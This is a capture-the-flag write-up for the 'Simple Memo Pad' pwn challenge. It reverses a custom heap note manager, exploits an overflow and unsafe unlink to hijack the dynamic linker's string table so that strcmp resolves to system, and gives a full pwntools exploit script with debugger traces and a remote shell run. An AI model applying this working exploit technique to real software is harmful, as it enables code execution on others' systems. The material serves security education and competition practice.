Simple Memo Pad (8 solves) (399 points)
nc memopad.tasks.ctf.codeblue.jp 5498
Attachment: simple_memo_pad.tgz xpl.py
*******************************
* Simple Memo Pad *
*******************************
Ver. Alpha
1. Write a note on a blank area
2. Edit a note
3. Delete a note
4. Show a note
5. Quit
>
Hmm, Write
, Edit
, Delete
, Show
… Looks like the default entry heap challenge…
But then, we’re only allowed to edit and delete once, and well, Show a note
only returns a sad:
Sorry, not implemented yet.
So, things look grim. After reversing the binary even more :)
void initApp ()
{
...
fd = open ( "/dev/urandom" , 0 );
read ( fd , & buf , 2uLL );
malloc ( buf ); // Create random sized buffer on heap -.-
...
}
The first thing it does, is to create a buffer on the heap with a random size, so our chunks will be on an unpredictable offset in the heap.
After this, it will create 20 chunks on the heap
struct Note {
long Canary ;
int Index ;
int InUse ;
char Content [ 128 ];
long Next ;
long Prev ;
};
Note * initializeChunks ()
{
Note * headNote = NULL ;
Note * prevNote = NULL ;
Note * currentNote = NULL ;
for ( int i = 0 ; i <= 19 ; ++ i )
{
currentNote = ( Note * ) malloc ( 160uLL );
if ( ! currentNote )
showSomethingWrong ();
currentNote -> Canary = get_note_canary ();
currentNote -> Index = i + 1 ;
currentNote -> InUse = 0 ;
memset ( currentNote -> Content , 0 , 128uLL );
currentNote -> Next = 0LL ;
currentNote -> Prev = 0LL ;
if ( headNote )
{
prevNote -> Next = currentNote ;
currentNote -> Prev = prevNote ;
prevNote = currentNote ;
}
else
{
strcpy ( currentNote -> Content , "This is a sample!" );
currentNote -> InUse = 1 ;
prevNote = currentNote ;
headNote = currentNote ;
}
}
return headNote ;
}
Since it’s setting some kind of FD/BK pointer, it looks like some custom (and probably vulnerable) malloc implementation is coming up.
But to harden things up, a canary is placed in the beginning of every chunk…
int writeNote ( Note * headNote )
{
Note * freeNote ;
// Search next note chunk, that is not currently in use
for ( freeNote = headNote ; freeNote && freeNote -> InUse ; freeNote = freeNote -> Next );
if ( freeNote )
{
// Check the note canary
if ( freeNote -> Canary != get_note_canary () )
{
writeText ( "Linked list corruption detected :P \n " );
_exit ( 1 );
}
writeText ( "Content: " );
callRead ( freeNote -> Content , 128LL , '\n' );
freeNote -> InUse = 1 ;
writeText ( "Done! \n " );
return 0 ;
}
else
{
writeText ( "Out of paper. \n " );
return 1 ;
}
}
This one breaks it. Even if we would be able to corrupt the linked note list, the next write would check, if the canary of the note is correct and terminate, if we’d try to overwrite some got
entry for example (since no canary is near).
But let’s continue with the reversing for now
int editNote ( Note * headNote )
{
int index ;
Note * selectedNote ;
writeText ( "Index: " );
index = read_number ();
if ( index == 1 )
{
writeText ( "You can't edit sample page. \n " );
return 1 ;
}
else
{
for ( selectedNote = headNote ; selectedNote && selectedNote -> Index != index ; selectedNote = selectedNote -> Next );
if ( selectedNote )
{
if ( selectedNote -> Canary != get_note_canary () )
{
writeText ( "Linked list corruption detected :P \n " );
_exit ( 1 );
}
if ( selectedNote -> InUse )
{
writeText ( "Content: " );
callRead ( selectedNote -> Content , 136LL , 10 ); // Overwrite of FD possible
writeText ( "Done! \n " );
return 0 ;
}
else
{
writeText ( "You can't edit a blank page. \n " );
return 1 ;
}
}
else
{
writeText ( "Page not found. \n " );
return 1 ;
}
}
}
So, editing a note reads 136 bytes, thus allowing us to overwrite the Next
pointer of the note chunk (but only this one, leaving the Prev
pointer intact).
int deleteNote ( Note * headNote )
{
int index ;
Note * selectedNote ;
writeText ( "Index: " );
index = read_number ();
...
if ( selectedNote -> InUse )
{
Note * ptr_prev_note = selectedNote -> Prev ;
Note * ptr_next_note = selectedNote -> Next ;
// Unsafe unlink
if ( ptr_prev_note )
ptr_prev_note -> Next = ptr_next_note ;
if ( ptr_next_note )
ptr_next_note -> Prev = ptr_prev_note ;
writeText ( "Done! \n " );
return 0 ;
}
...
}
Ok, so we’ve got an unsafe unlink
here.
Thus, since we control Next
we can write the address from the Prev
pointer anywhere (by ptr_next_note->Prev = ptr_prev_note
). Prev
is at offset 0x98 from the chunk, so to overwrite an address x
we just have to set Next
to x - 0x98
, and then the unlink will write value from Prev
to x
.
Let’s sum this up:
No leak available in the binary
Chunks are at random offsets in the heap
Every chunk has a canary, so we cannot use writeNote
to write anywhere except in our preinitialized chunks
We can overwrite ONE arbitrary address with the address of one of our note chunks
This left me stumped for a while, thinking what we could possibly do with one write without knowing any address (except the bss ones).
Well. No leaks and no libc given? This actually yells for dlresolve
…
When the binary tries to call a libc function for the first time, it has to use dl_resolve
to get the actual address for this function from libc at runtime. This will call _dl_fixup
, and pass the link_map, with which it can resolve the addresses from libc. It can be rather tedious to forge a fake linkmap to trick dl_resolve
, but luckily we won’t have to do that this time :)
Let’s look at a very stripped down version of _dl_fixup
_dl_fixup ( struct link_map * l , ElfW ( Word ) reloc_arg )
{
const ElfW ( Sym ) * const symtab = ( const void * ) D_PTR ( l , l_info [ DT_SYMTAB ]);
const char * strtab = ( const void * ) D_PTR ( l , l_info [ DT_STRTAB ]);
const PLTREL * const reloc = ( const void * ) ( D_PTR ( l , l_info [ DT_JMPREL ]) + reloc_offset );
const ElfW ( Sym ) * sym = & symtab [ ELFW ( R_SYM ) ( reloc -> r_info )];
...
/* Sanity check that we're really looking at a PLT relocation. */
assert ( ELFW ( R_TYPE )( reloc -> r_info ) == ELF_MACHINE_JMP_SLOT );
/* Look up the target symbol. If the normal lookup rules are not used don't look in the global scope. */
if ( __builtin_expect ( ELFW ( ST_VISIBILITY ) ( sym -> st_other ), 0 ) == 0 )
{
if ( l -> l_info [ VERSYMIDX ( DT_VERSYM )] != NULL )
{
...
}
result = _dl_lookup_symbol_x ( strtab + sym -> st_name , l , & sym , l -> l_scope , version , ELF_RTYPE_CLASS_PLT , flags , NULL );
...
}
else
{
// Symbol is already resolved
}
...
return elf_machine_fixup_plt ( l , result , reloc , rel_addr , value );
}
strtab
is just a table of symbol names (strings), that are used in the binary.
x/20s 0x400418
0x400418: ""
0x400419: "libc.so.6"
0x400423: "__stack_chk_fail"
0x400434: "_exit"
0x40043a: "strlen"
0x400441: "memset"
0x400448: "__errno_location"
0x400459: "read"
0x40045e: "malloc"
0x400465: "atoi"
0x40046a: "close"
0x400470: "open"
0x400475: "sleep"
0x40047b: "strcmp"
0x400482: "__libc_start_main"
0x400494: "write"
0x40049a: "__gmon_start__"
0x4004a9: "GLIBC_2.4"
0x4004b3: "GLIBC_2.2.5"
0x4004bf: ""
With the symbol table, _dl_fixup
will calculate the offset of the symbol name to lookup (strtab + sym->st_name
), and then call _dl_lookup_symbol_x
, which will resolve the function from libc by it’s symbol name.
The link_map has a pointer to the strtab
, which gets loaded in _dl_fixup
x/100gx 0x00007f82e69d4170
0x7f82e69d4170: 0x0000000000000000 0x00007f82e69d4700
0x7f82e69d4180: 0x00000000006017d0 0x00007f82e69d4708
0x7f82e69d4190: 0x0000000000000000 0x00007f82e69d4170
0x7f82e69d41a0: 0x0000000000000000 0x00007f82e69d46e8
0x7f82e69d41b0: 0x0000000000000000 0x00000000006017d0
0x7f82e69d41c0: 0x00000000006018b0 0x00000000006018a0
0x7f82e69d41d0: 0x0000000000000000 0x0000000000601850 <== Pointer to strtab - 0x8
0x7f82e69d41e0: 0x0000000000601860 0x00000000006018e0
0x7f82e69d41f0: 0x00000000006018f0 0x0000000000601900
0x7f82e69d4200: 0x0000000000601870 0x0000000000601880
0x7f82e69d4210: 0x00000000006017e0 0x00000000006017f0
0x7f82e69d4220: 0x0000000000000000 0x0000000000000000
[----------------------------------registers-----------------------------------]
RAX: 0x7fffffffdfc0 --> 0x31 ('1')
RBX: 0x7fffffffdfa0 --> 0x0
RCX: 0x0
RDX: 0x24 ('$')
RSI: 0xc ('\x0c')
RDI: 0x7fb660066170 --> 0x0 # Linkmap
RBP: 0x7fffffffdfe0 --> 0x7fffffffe030 --> 0x401190 (push r15)
RSP: 0x7fffffffde80 --> 0x0
RIP: 0x7fb65fe4fbde (<_dl_fixup+14>: mov rax,QWORD PTR [rdi+0x68])
[-------------------------------------code-------------------------------------]
0x7fb65fe4fbd4 <_dl_fixup+4>: mov esi,esi
0x7fb65fe4fbd6 <_dl_fixup+6>: lea rdx,[rsi+rsi*2]
0x7fb65fe4fbda <_dl_fixup+10>: sub rsp,0x10
=> 0x7fb65fe4fbde <_dl_fixup+14>: mov rax,QWORD PTR [rdi+0x68]
0x7fb65fe4fbe2 <_dl_fixup+18>: mov rdi,QWORD PTR [rax+0x8]
0x7fb65fe4fbe6 <_dl_fixup+22>: mov rax,QWORD PTR [r10+0xf8]
0x7fb65fe4fbed <_dl_fixup+29>: mov rax,QWORD PTR [rax+0x8]
0x7fb65fe4fbf1 <_dl_fixup+33>: lea r8,[rax+rdx*8]
69 const char *strtab = (const void *) D_PTR (l, l_info[DT_STRTAB]);
[----------------------------------registers-----------------------------------]
RAX: 0x601850 --> 0x5 # pointer to strtab - 0x8
RBX: 0x7fffffffdfa0 --> 0x0
RCX: 0x0
RDX: 0x24 ('$')
RSI: 0xc ('\x0c')
RDI: 0x7fb660066170 --> 0x0
RBP: 0x7fffffffdfe0 --> 0x7fffffffe030 --> 0x401190 (push r15)
RSP: 0x7fffffffde80 --> 0x0
RIP: 0x7fb65fe4fbe2 (<_dl_fixup+18>: mov rdi,QWORD PTR [rax+0x8])
[-------------------------------------code-------------------------------------]
0x7fb65fe4fbd6 <_dl_fixup+6>: lea rdx,[rsi+rsi*2]
0x7fb65fe4fbda <_dl_fixup+10>: sub rsp,0x10
0x7fb65fe4fbde <_dl_fixup+14>: mov rax,QWORD PTR [rdi+0x68]
=> 0x7fb65fe4fbe2 <_dl_fixup+18>: mov rdi,QWORD PTR [rax+0x8]
0x7fb65fe4fbe6 <_dl_fixup+22>: mov rax,QWORD PTR [r10+0xf8]
0x7fb65fe4fbed <_dl_fixup+29>: mov rax,QWORD PTR [rax+0x8]
0x7fb65fe4fbf1 <_dl_fixup+33>: lea r8,[rax+rdx*8]
0x7fb65fe4fbf5 <_dl_fixup+37>: mov rax,QWORD PTR [r10+0x70]
69 const char *strtab = (const void *) D_PTR (l, l_info[DT_STRTAB]);
[----------------------------------registers-----------------------------------]
RAX: 0x601850 --> 0x5
RBX: 0x7fffffffdfa0 --> 0x0
RCX: 0x0
RDX: 0x24 ('$')
RSI: 0xc ('\x0c')
RDI: 0x400418 --> 0x6f732e6362696c00 ('') # strtab
RBP: 0x7fffffffdfe0 --> 0x7fffffffe030 --> 0x401190 (push r15)
RSP: 0x7fffffffde80 --> 0x0
RIP: 0x7fb65fe4fbe6 (<_dl_fixup+22>: mov rax,QWORD PTR [r10+0xf8])
[-------------------------------------code-------------------------------------]
0x7fb65fe4fbda <_dl_fixup+10>: sub rsp,0x10
0x7fb65fe4fbde <_dl_fixup+14>: mov rax,QWORD PTR [rdi+0x68]
0x7fb65fe4fbe2 <_dl_fixup+18>: mov rdi,QWORD PTR [rax+0x8]
=> 0x7fb65fe4fbe6 <_dl_fixup+22>: mov rax,QWORD PTR [r10+0xf8]
0x7fb65fe4fbed <_dl_fixup+29>: mov rax,QWORD PTR [rax+0x8]
0x7fb65fe4fbf1 <_dl_fixup+33>: lea r8,[rax+rdx*8]
0x7fb65fe4fbf5 <_dl_fixup+37>: mov rax,QWORD PTR [r10+0x70]
0x7fb65fe4fbf9 <_dl_fixup+41>: mov rcx,QWORD PTR [r8+0x8]
72 = (const void *) (D_PTR (l, l_info[DT_JMPREL]) + reloc_offset);
Soooo, 0x601850 + 0x8
is an address in the bss, and since the binary doesn’t have PIE
, it’s fixed.
This means, we could use our precious overwrite from unsafe unlink
to overwrite the address of strtab
with our chunk pointer.
By this, we could pass _dl_fixup
a fake strtab, and just exchange the name of the symbol, that currently gets resolved with system
and
result = _dl_lookup_symbol_x (strtab + sym->st_name, l, &sym, l->l_scope, version, ELF_RTYPE_CLASS_PLT, flags, NULL);
would give us the resolved address of system
instead.
We’ll need
a symbol, that’s not already resolved
that preferrably gets called with a parameter, which we control
prepare a fake strtab
with system
at the position, where the real symbol name would be
When we’re trying to exit the application, it will ask us, if we’re really sure and then use strcmp (&input, "y")
to check our answer. Since this won’t be called, until we try to exit, strcmp
won’t be resolved yet, and we also control the first parameter. Perfect :)
So we’ll just create a fake strtab
, place system
at the offset, where strcmp
is stored in the original strtab
and put it in a note chunk.
#!/usr/bin/python
from pwn import *
import sys
LOCAL = True
HOST = "memopad.tasks.ctf.codeblue.jp"
PORT = 5498
def write_note ( content ):
r . sendline ( "1" )
r . sendlineafter ( "Content: " , content )
r . recvuntil ( "> " )
def edit_note ( idx , content , usenl = True ):
r . sendline ( "2" )
r . sendlineafter ( "Index: " , str ( idx ))
r . sendlineafter ( "Content: " , content )
r . recvuntil ( "> " )
def del_note ( idx , usenl = True ):
r . sendline ( "3" )
r . sendlineafter ( "Index: " , str ( idx ))
r . recvuntil ( "> " )
def quit ( answer ):
r . sendline ( "5" )
r . sendlineafter ( "(y/n)" , answer )
def exploit ( r ):
e = ELF ( "./simple_memo_pad" )
r . recvuntil ( "> " )
log . info ( "Create fake note for str tab" )
payload = "A" * 83
payload += "system"
write_note ( payload )
r . interactive ()
return
if __name__ == "__main__" :
if len ( sys . argv ) > 1 :
LOCAL = False
r = remote ( HOST , PORT )
exploit ( r )
else :
LOCAL = True
r = process ( "./simple_memo_pad" )
print util . proc . pidof ( r )
pause ()
exploit ( r )
The heap will look like this:
0x60c0b0: 0x0000000000000000 0x00000000000000b1
0x60c0c0: 0xc355eb8d42c90e00 0x0000000100000002 <= Note chunk 2
0x60c0d0: 0x4141414141414141 0x4141414141414141
0x60c0e0: 0x4141414141414141 0x4141414141414141
0x60c0f0: 0x4141414141414141 0x4141414141414141
0x60c100: 0x4141414141414141 0x4141414141414141
0x60c110: 0x4141414141414141 0x4141414141414141
0x60c120: 0x6574737973414141 0x000000000000006d <= "system" string
0x60c130: 0x0000000000000000 0x0000000000000000
0x60c140: 0x0000000000000000 0x0000000000000000
0x60c150: 0x000000000060c170 0x000000000060c010
0x60c160: 0x0000000000000000 0x00000000000000b1
0x60c170: 0xc355eb8d42c90e00 0x0000000000000003 <= Note chunk 3
0x60c180: 0x0000000000000000 0x0000000000000000
0x60c190: 0x0000000000000000 0x0000000000000000
0x60c1a0: 0x0000000000000000 0x0000000000000000
0x60c1b0: 0x0000000000000000 0x0000000000000000
0x60c1c0: 0x0000000000000000 0x0000000000000000
0x60c1d0: 0x0000000000000000 0x0000000000000000
0x60c1e0: 0x0000000000000000 0x0000000000000000
0x60c1f0: 0x0000000000000000 0x0000000000000000
0x60c200: 0x000000000060c220 0x000000000060c0c0 <= Next / Prev pointer
The Prev
pointer of chunk 3 points to our fake strtab
. We can now use the overflow in editNote
to overwrite the Next
pointer to define, where we want to write the value from Prev
.
log . info ( "Create another note for unsafe unlink" )
write_note ( "A" * 128 )
log . info ( "Overwrite FD pointer of the 3rd chunk with pointer to STRTAB" )
payload = "A" * 128
payload += p64 ( 0x601858 - 0x98 )
log . info ( "Unlink to overwrite STRTAB address with chunk 2 address" )
edit_note ( 3 , payload )
0x60c0b0: 0x0000000000000000 0x00000000000000b1
0x60c0c0: 0xc355eb8d42c90e00 0x0000000100000002 <= Note chunk 2
0x60c0d0: 0x4141414141414141 0x4141414141414141
0x60c0e0: 0x4141414141414141 0x4141414141414141
0x60c0f0: 0x4141414141414141 0x4141414141414141
0x60c100: 0x4141414141414141 0x4141414141414141
0x60c110: 0x4141414141414141 0x4141414141414141
0x60c120: 0x6574737973414141 0x000000000000006d <= "system" string
0x60c130: 0x0000000000000000 0x0000000000000000
0x60c140: 0x0000000000000000 0x0000000000000000
0x60c150: 0x00000000006017c0 0x000000000060c010
0x60c160: 0x0000000000000000 0x00000000000000b1
0x60c170: 0xc355eb8d42c90e00 0x0000000100000003 <= Note chunk 3
0x60c180: 0x4141414141414141 0x4141414141414141
0x60c190: 0x4141414141414141 0x4141414141414141
0x60c1a0: 0x4141414141414141 0x4141414141414141
0x60c1b0: 0x4141414141414141 0x4141414141414141
0x60c1c0: 0x4141414141414141 0x4141414141414141
0x60c1d0: 0x4141414141414141 0x4141414141414141
0x60c1e0: 0x4141414141414141 0x4141414141414141
0x60c1f0: 0x4141414141414141 0x4141414141414141
0x60c200: 0x00000000006017c0 0x000000000060c0c0 <= Next (pointing to strtab - 0x98) / Prev
Then we’ll use the unsafe unlink
in deleteNote
to overwrite 0x601858
with the Prev
pointer from our chunk
del_note ( 3 )
x/gx 0x601858
0x601858: 0x000000000060c0c0
With this setup, _dl_fixup
will now use 0x60c0c0
instead of 0x400418
(original strtab
) for finding the symbol name to resolve. Since we put system
at the position of strcmp
, _dl_lookup_symbol_x
will now happily serve us the address of system
instead.
So, all there’s left to do is, to exit the application and tell it that we’re '/bin/sh'
sure, that we want to exit.
log . info ( "Exit with '/bin/sh' to resolve strcmp as system" )
quit ( "/bin/sh" )
Quick check in gdb:
[----------------------------------registers-----------------------------------]
RAX: 0x1
RBX: 0x601a08 --> 0x400766 (<strcmp@plt+6>: push 0x9)
RCX: 0x7f80d82ba4c8 --> 0x7f80d82ba428 --> 0x7f80d82b69c8 --> 0x7f80d82ba170 --> 0x0
RDX: 0x7ffdf7fbc8a8 --> 0x400370 --> 0x1200000063
RSI: 0x7f80d82ba170 --> 0x0
RDI: 0x60c123 --> 0x6d6574737973 ('system') # symbol name from our fake strtab
RBP: 0x7ffdf7fbca20 --> 0x401190 (push r15)
RSP: 0x7ffdf7fbc890 --> 0x1
RIP: 0x7f80d80a3c9f (<_dl_fixup+207>: call 0x7f80d809ef70 <_dl_lookup_symbol_x>)
R8 : 0x7f80d82b6a10 --> 0x4004b3 ("GLIBC_2.2.5")
R9 : 0x1
R10: 0x7f80d82ba170 --> 0x0
R11: 0x246
R12: 0x4007d0 (xor ebp,ebp)
R13: 0x7ffdf7fbcb00 --> 0x1
R14: 0x0
R15: 0x0
EFLAGS: 0x206 (carry PARITY adjust zero sign trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
0x7f80d80a3c93 <_dl_fixup+195>: mov r9d,0x1
0x7f80d80a3c99 <_dl_fixup+201>: add rdi,rsi
0x7f80d80a3c9c <_dl_fixup+204>: mov rsi,r10
=> 0x7f80d80a3c9f <_dl_fixup+207>: call 0x7f80d809ef70 <_dl_lookup_symbol_x>
0x7f80d80a3ca4 <_dl_fixup+212>: mov r8,rax
0x7f80d80a3ca7 <_dl_fixup+215>: mov eax,DWORD PTR fs:0x18
0x7f80d80a3caf <_dl_fixup+223>: test eax,eax
0x7f80d80a3cb1 <_dl_fixup+225>: pop rcx
Guessed arguments:
arg[0]: 0x60c123 --> 0x6d6574737973 ('system')
arg[1]: 0x7f80d82ba170 --> 0x0
arg[2]: 0x7ffdf7fbc8a8 --> 0x400370 --> 0x1200000063
arg[3]: 0x7f80d82ba4c8 --> 0x7f80d82ba428 --> 0x7f80d82b69c8 --> 0x7f80d82ba170 --> 0x0
111 result = _dl_lookup_symbol_x (strtab + sym->st_name, l, &sym, l->l_scope,
Everything looks fine, resolving system
here, and:
$ python xpl.py 1
[+] Opening connection to memopad.tasks.ctf.codeblue.jp on port 5498: Done
[*] '/home/kileak/pwn/Challenges/codeblue/simple_memo/simple_memo_pad/simple_memo_pad'
Arch: amd64-64-little
RELRO: No RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x400000)
[*] Create fake entry for str tab
[*] Create another note for unsafe unlink
[*] Overwrite FD pointer of the 3rd chunk with pointer to STRTAB
[*] Unlink to overwrite STRTAB address with chunk 2 address
[*] Exit with '/bin/sh' to resolve strcmp as system
[*] Switching to interactive mode
: $ cat flag
CBCTF{A11_y0ur_5tRtaB_are_beL0nG_tO_uS}